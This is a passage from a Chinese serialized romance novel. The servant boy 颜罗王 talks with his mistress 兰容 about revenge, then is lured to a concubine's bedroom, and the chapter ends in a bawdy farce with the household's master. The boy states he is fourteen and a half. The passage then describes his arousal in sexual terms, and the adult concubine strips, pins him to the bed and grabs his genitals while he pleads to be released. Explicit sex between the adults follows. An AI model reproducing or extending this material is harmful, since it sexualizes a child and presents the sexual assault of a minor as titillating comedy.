兰容笑得很美,就因为颜罗王的这句话,她笑得像一个少女似的,颜罗王看着她笑,她的几根发丝掉落在她的脸前,她道:“罗王,帮我把头发撩上去。”

颜罗王照做了,把她的不安份的发撩到她的耳廓后面,她的右手就悄悄地放在了他的脸上,轻轻地抚摸着,颜罗王感到自己的心脏在跳得很快,兰容的手摸在他的脸上的那种柔软的感觉,让他的脑袋无法思考,他不敢抗拒,也不想抗拒,任由她抚摸着。

“罗王,你多少岁了?”

这个问题,她以前问过颜罗王,颜罗王也记得自己回答过她,然而此刻她又问起,他只得重新回答,“夫人,我实岁已经十四岁半了,虚岁应该有十五六岁了吧。”

兰容叹道:“你看起来像十八九岁的少年,也许是与你所经历的沧桑有关,所以你的心性比较成熟。”

颜罗王眼中的芒光闪了一下,然后又垂下头来。

兰容的手从他的脸撤离,放在她自己的肚子上轻柔地抚摸着,道:“能问你个问题吧?”

颜罗王连忙道:“夫人,你问。”

兰容道:“你右臂上的齿痕是谁咬的?”

颜罗王不料她会问这样的话,一时愣住,兰容看他这个样子,叹息道:“你不想说,可以不说。”

颜罗王道:“是我三姐咬的。”

兰容惊道:“你三姐?她怎就这样狠心,咬你这么深?”

颜罗王道:“是我叫她咬的,我让她咬这么深。”

兰容道:“哦,原来是这样。罗王,你知道是谁用剑伤了你吗?”

颜罗王的眼睛的恨意突然变得浓重,看得兰容也有些惊惧,只听他道:“夫人,我如果不死,我会找见她的,她叫——兰心。”

兰容道:“你很恨她?”

颜罗王道:“不是恨,是仇。”

兰容把他那激动的双手握在手里,道:“你以后见到她,哪怕是心里恨她,也不要去惹她,好吗?”

颜罗王无言,对于这个救了她性命的女人,很多事他都能答应她,唯独这件事,他颜罗王不能应承。

兰容凄怨地道:“你就真的这么恨她?”

颜罗王点点头,道:“恨可消,仇难解。我总有一天,让她知道胸口痛是什么样的一种感觉,她留在我胸口上的伤疤是永存的,我想忘记也不行。”

兰容道:“我也是为你好,你不会是她的对手的,我可以救得了你这次,却救不了你下次,你以后见了她最好装作不认识她,这样我也就能放心一点了。”

颜罗王道:“在我未有十分把握之前,我是可以忍的,这个夫人请放心,哪怕死,我颜罗王也就是烂命一条,当不得一回事的。”

兰容伸手掩住他的嘴,怨道:“不准这么说,谁个命不珍贵?”

颜罗王感激地看着她,许久才道:“夫人,你若没有别的事要我帮忙,我还是先走了,留在你这里久了,我心里觉得慌,这不是我久留的地方,虽然我知道夫人很疼我。”

兰容眼中闪过一抹失望之色,道:“好吧,你出去吧,记住,我虽然不管老爷的事,但你不要跟着他胡闹,他越老越像个小孩子了。”

颜罗王道:“夫人,我会记住的。”
第二集 第四章 叫春的猫
在刘贤达的四位妻妾中,林鲜也许是最不具姿色的一个,然而刘贤达却最宠爱林鲜,除了在外面花天酒地之外,回到家中,他常去的房间就是林鲜的寝室。

林鲜只有二十七岁,在未进刘府之前,是红楼名妓,刘贤达与她相好一晚之后,便决定纳她为妾,好藏在家中,供他一人独用。

颜罗王想不到会在这样的时刻遇见林鲜,已经是万家灯火同点之时了,他每到这个时候都回到了他的柴房。因为练《男人至宝》的缘故,他从小习惯了裸睡,当他躺在床上闭眼运气之时,有人敲门了,他道:“谁?”

林鲜的声音在外面响起,“小罗,是我。”

颜罗王连身子一僵,道:“是三夫人啊,找我有什么事吗?”

林鲜道:“没甚事,只是想看看老爷在不在你这里?”

“不在。”颜罗王放下心来,道:“老爷还没回来吗?”

林鲜道:“没有,他已经有五天没有找过人家了,人家想他,所以到你这里来看看,谁都知道,老爷一有心事就会跑来你这里帮你砍柴的。”

颜罗王道:“可是老爷真的不在我这里,三夫人,你在别处去找找吧?”

林鲜固执地道:“我不信,你开门,我进去找找。”

颜罗王头皮发麻,道:“不方便吧?我已经睡下了。”

林鲜道:“有什么不方便的?我叫你开门!别以为老爷疼你,我就不敢对你怎么样,你背着我们帮老爷做什么事,我们四姐妹可是一清二楚的,你开不开?不开我就叫人来撞门了!”

颜罗王知道这门是不能不开的了,可是他看看他胯下雄壮挺立的物体,又看了看门,无奈地道:“好吧,你等会,我穿了衣服就开门给你。”

林鲜不耐烦地道:“你是不是想把老爷藏好才开门?快点,穿什么衣服?老娘什么男人的光屁股没见过,倒怕看你这小毛头了?”

颜罗王急忙把裤子往双脚一套,慌慌张张地系好裤头,就跑过去开门,林鲜进来之后,看也不看他一眼,就在柴房里东翻西丢,找了好一会,不见有其他人,就回头对颜罗王道:“你真的睡觉了?”

颜罗王道:“是的,我都说没和老爷在这里闹了。”

林鲜怀疑道:“你睡觉为什么不熄了油灯?”

颜罗王道:“我太累了,一时不觉,躺到床上就睡着了。”

林鲜道:“你说谎也不看对像吗?你既然已经脱衣在床,当然就是决定睡觉了,怎么可能是随便躺躺?”

颜罗王无言以对,看着林鲜发呆,他向来是口齿灵俐的,可是今晚一对上这个女人,他才发觉人外有人,这种感觉实在不好受。

林鲜的眼睛移到他未穿整齐的裤子上,看到他鼓胀异常的裤裆,眼睛大亮,接着又看了看他的那张床,眉头一皱,走到他身旁,伸手捏了捏他手臂的肌肉,娇笑道:“你小小年纪,肌肉倒是挺发达的。”

颜罗王被她捏得浑身不自在,又不敢有所动作,尴尬地道:“这是劈柴劈出来的。”

林鲜道:“怪不得老爷会经常来你这里劈柴了,原来劈柴会令肌肉结实,你知道吗,我常说他只有肥肉的?小罗,你快穿上衣服,和我一起找老爷去。”

“好吧。”颜罗王答应着,随手拿起一件衣服,就随林鲜走出门,林鲜比他先一步出了门外,他猛地退回来,急忙把门关了,外面的林鲜喊道:“颜罗王,你敢违抗我?”

颜罗王忙道:“三夫人,你先等等,我很快就会出来。”他当下就闭上双眼,按照《男人至宝》里的《平息法》运起气来了。

刚才他与林鲜说话,没空运气平息自己底下的冲动,却不料林鲜要他出去找人,他裤裆里顶着帐篷,又怎么能出去乱撞?只好把林鲜关到外面后,才能运气平息他的命根子的起义了。

林鲜等了约三四分钟,才见颜罗王从柴房里出来,她看看他的裤裆,笑道:“你刚才在裤裆装了什么?是不是躲在里面把它拿出来藏好了?”

颜罗王尴尬地道:“没、没什么的。”

林鲜道:“好啦,你藏私,我可以不管,你现在立即跟我来。”

颜罗王松了一口气,道:“是,三夫人,我们先去哪里找?”

林鲜神秘地一笑,“去了你就知道了。”

颜罗王只得跟着她走,却不料她走回她的寝室,颜罗王到了她的门前就停了下来,道:“三夫人,你不是说要找老爷吗?为何要回你的房间?”

林鲜回头,道:“我忘了拿东西了,你同我进来,帮我拿了东西,我们就出去找老爷。”

颜罗王便跟着她进去,她掉头就把门反锁了,颜罗王道:“锁门干嘛?”

林鲜道:“我要拿的东西很重要,如果让人偷看,就不好了,不过,我不怕你看。”

颜罗王半信半疑,随她来到她的床前,她道:“小罗,你在我床上坐一会,我到后面去拿东西,一会就得,你不许跑掉,不然明天有你好看!”

林鲜说罢,就走到后面的屏风去了,颜罗王不知她要拿什么重要东西,但是,他知道她似乎很开心,在屏风后面还轻轻地吭着小曲,这种小曲他也曾在春风扬万里的那些阿姨们口中听到过,只是他记不得是哪个阿姨吭的了?似乎每个阿姨都会吭的,他想,为什么三夫人也会吭这些小曲儿?

颜罗王再次看到林鲜时,他的眼睛睁得大大的,嘴巴也大张,就是说不出一句话,他不是没有见过女人的裸体,他曾经在妓院里偷看,男人与女人光身子打架——他都看得腻了,可是事隔多年,且现在他的年龄已经到了可以接受女人的肉体的刺激的阶段了,他却就看到了林鲜披着一件红色的薄纱睡衣站在他面前,那睡衣又没有打结,从她的身体向两旁散开,露出她的两个雪白的圆奶和她那略有些发福的小腹,而在他脸前就是她双腿尽头那一丛顶黑顶黑的卷曲粗毛,他全身打了个寒颤,惊道:“三夫人,咳,我先走了。”

林鲜却双手按在他的双肩上,娇笑道:“怎么?我叫你拿的东西不重要吗?你还没有拿怎么就可以走呢?”

颜罗王急道:“三夫人,我拿不了,我力气不够。”

林鲜道:“你力气不够,我可以帮你,我们一齐合作不就成了?”

颜罗王道:“三夫人,我有些急事,需要出去一会,你先放了我,我一定会回来的。”

林鲜道:“我都说了,让你说谎时看看对像,你总是乱发一通,我看你又能编个什么故事出来,说吧。”

颜罗王道:“我尿急。”

林鲜笑道:“我还以为是什么大不了的事,不过就是一泡尿,你拉在这里就得了,来,我帮你解裤子。”她就把右手伸到颜罗王的裤头,正要替颜罗王解裤子。

颜罗王双肩的重要一减轻,就挣扎着起来,林鲜的身体就朝他压了下去,她是个强壮的女人,比颜罗王还要高出半个头,所以很轻易地就把心慌意乱的颜罗王压在了床上,她的手伸入了颜罗王的裤裆里,握住了他的***,娇笑道:“我从来不知你这小鬼身上会有这么够劲的宝贝,看来老爷没有白疼你。”

颜罗王大急,双手去推林鲜的胸膛,发觉柔软得无法使力,他曾经也在萧娘的身上得到个这种感觉,萧娘和他睡时,都是赤着上身让他窝在她的胸脯里睡的。林鲜的胸脯和萧娘的胸脯差不多,当他的手按在她的胸脯上时,他几乎不想撤开,然而他还是撤开了,因为林鲜的嘴将快要堵住他的嘴了,他的双手就去推林鲜的脸,并且喊道:“三夫人,求你放开我,我不能这么做的,老爷知道了会杀了我的,你别害我呀!”

林鲜吃吃地道:“我怎么会害你?我疼你还来不及,呀,你的宝贝有反应了,好样的,果然是长得很大了。”

颜罗王知道这次可能真的要被她生吃了,他劈柴是挺有蛮力,可不知为什么,现在竟然斗不过身上的林鲜,他的裤头已经被林鲜解开了,正在这紧要关头,突然传来敲门声,颜罗心中大呼“有救了”,就听得外面的刘贤达道:“鲜草儿,快快开门,你的老牛来吃你了。”

林鲜和颜罗王心中大惊,林鲜定定地看着颜罗王,颜罗王却扭头看着那扇门,林鲜轻道:“这死老鬼,早不来迟不来,偏偏要在这时候想起了老娘,心肝儿,你先躲到床底下,待会我打发了那死老头就继续教你怎么做个男人。”

她放开颜罗王,就走出去,颜罗王急忙抽抽裤子,系好裤带,一头钻进林鲜的床底下,幸好这床还够大,他躲在床下,如果不注意,很难发现,接着他就听到刘贤达欢呼:“噢呀鲜草儿,你已经准备好了?来,我们到床上去,我今晚磨利了宝刀,绝对能割得你的草儿响呼啦,嘿嘿。”

林鲜想着床底下的颜罗王,因而不想他长留此地,道:“老爷,你又喝酒啦?今晚奴家有点不舒服,你去找她们尝试你的宝刀吧。”

刘贤达撒娇道:“不嘛,我就要在你这里割草,她们都不够味儿,你才懂得欣赏我的杰作。”

林鲜道:“那明晚吧?”

刘贤达铁了色心,道:“不,就今晚,就现在。”

他抱起林鲜就走到床上,把林鲜往床上一放,就开始脱衣拉裤的,不久,床底下的颜罗王就看见刘贤达的衣裤全部堆在床前了,他暗道:老爷,谢谢你即时的降临,你真是我的大恩人,我以后一定全力效忠于你。

刘贤达大呼一声,扑到林鲜身上,肥嘴就在她的两个奶上面嘟个不停,林鲜娇声道:“老爷,你今晚怎么这么威猛?”

刘贤达道:“我刚才在洪老板那里喝酒,他把他家祖传的神龟酒拿给我喝,说喝了神酒,最少也能坚持三个时辰,鲜草儿,今晚你有福了,我让你作一回神仙的感觉,嗨,定是飘飘然也。”

林鲜惊奇道:“真有这么厉害?”

刘贤达道:“我这不是正准备实验吗?如果是真的,明天我去把他家里的酒全部要走,如果是假的,我怎么也得找机会把他的家抄了。”

林鲜道:“老爷不喝酒也是很能干的。”

刘贤达的手指刺入林鲜的缝隙,呵呵笑道:“说得也是,就你叫人疼!咦?鲜草人儿,你怎么就湿了?你还敢说不想要?妈的,比我还来的快,刚趴上去,你就湿润透了,好,我们就直接进入实验阶段,神龟酒来了!”

林鲜虽然一心想着床底下的颜罗王,但对刘贤达口中的神龟酒多少有些好奇,也就动情地道:“老爷,来吧,鲜草儿已经为你准备好酒壶了。”

底下的颜罗王跟着便听到了林鲜的娇吟以及整张床不安份地摇晃,他能想像得到上面的两人正打得激烈,心想:此时不走更待何时?

颜罗王小心翼翼地从床的另一头爬出来,回来看看床上,隔着纱账只见刘贤达正在林鲜身上做俯卧撑,颜罗王不禁同情地想:老爷这么老了,还要做这样激烈的运作,真是为难他了。

颜罗王掉头又往外爬,不小心撞到橱柜上,掉下来一个瓶子,一声碎响,把房里三人都吓了一跳,颜罗王全身僵在当场大气不敢喘,刘贤达道:“我操,什么事情?”

他刚想转脸回来看个究竟,林鲜适时把他的脸压在她的胸脯上,就听得那边急中生智的颜罗王学着猫儿叫了“喵”的一声,她就道:“唔,老爷,你把人家弄得欲仙欲死的,人家欢喜死了,不过是一只猫碰掉了一些东西,先不要理它,我们继续,老爷,快点啦,人家都被你掉在半空中了。”

刘贤达从林鲜的胸脯上抬脸起来,骂道:“妈的,这烂猫叫得也真难听,鲜草儿,我们不管它了,我继续让你学猫叫春。”

颜罗王看见刘贤达又得意地做起了男人的苦工,他就猛地爬到门前,这门因为刘贤达刚才太急色,所以忘了掩了,他爬出了门,先是轻手轻脚地走,然后就是尽他所有吃奶力狂奔。

刘贤达在颜罗王出门的那一刻,正值紧要关头,他呼喊道:“鲜草儿,我、我要淋草了。”

一泡尿就射到了林鲜的酒壶里。

刘贤达在林鲜的肚皮上趴了一会之后,光着身子下了床,喝骂道:“妈的,洪胡子敢欺骗老子,说什么三个时辰,三分钟也不到就让老子完事了,老子没喝酒之前也不会这么差劲,喝了他的乌龟王八酒反而令老子威风大减,定要找个机会把他的烂酒店给封拆了。啊呀?我的古董花瓶呀,怎么就碎了?心肝儿呀!”

林鲜一听他的喊叫声里又哭又是怒的,惊问道:“老爷,你的古董花瓶碎了?”

刘贤达跪在地上,一块一块的去捡地上的碎片,哭喊道:“这是我好不容易得来的,吴大人的儿子杀了人,我帮他儿子洗脱了罪名,他才肯把这花瓶让给我的,我以为放在你这里,我可以经常来看看摸摸,谁知,谁知,啊呜,该死的猫,我明天定见到要把它撕了来吃。”

林鲜道:“老爷,你说什么?”

刘贤达忽然发现说漏了嘴,忙道:“没说什么,我是说,我做了一件天大的好事,人家才肯把花瓶让给我的,鲜草儿,如今我的瓶儿碎了,这可怎么办?”

林鲜道:“这也是没办法的,碎也就碎了,补不回去的。老爷,不如开心一点,让鲜草儿喂你吃草,嗯?”

刘贤达光着他肥嘟嘟的身子坐在地上捧着花瓶碎片,喃喃地道:“我的花瓶呀,我的花瓶!”

林鲜恼道:“老爷,你有没有听我说话呀?”

刘贤达回首瞪了她一眼,道:“酒是假酒,心儿又碎了,我哪还有什么心情?”

床上坐起来的林鲜听他如此一说,双眼一翻,仰躺下去,她的肉背和床板相撞,发出很沉闷很无奈的一声巨响。

夜是深了。